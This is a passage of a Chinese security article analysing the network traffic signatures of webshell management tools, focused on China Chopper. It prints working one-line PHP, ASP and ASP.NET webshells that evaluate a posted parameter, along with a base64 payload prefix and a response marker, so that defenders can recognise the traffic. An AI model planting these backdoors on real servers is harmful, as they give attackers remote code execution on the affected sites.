webshell管理工具及其流量特征分析

webshell管理工具及其流量特征分析

——

对常见四款webshell进行分析，对工具连接流量有个基本认识。
——

中国菜刀（Chopper）流量特征

是一款经典的网站管理工具，有文件管理、数据库管理、虚拟终端等功能。
流量特征十分明显，如今安全设备基本可以识别到菜刀的流量。基本是在安全教学中使用。

github项目地址：https://github.com/raddyfiy/caidao-official-version

菜刀使用的webshell ，特征十分明显
常见一句话(Eval)：
PHP一句话:

<?php @eval($_POST['caidao']);?>

ASP一句话:

<%eval request(“caidao”)%>

asp.net一句话:

<%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

请求体中传递的payload为base64编码，并且存在固定的
为

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

响应文的格式为

X@Y
结果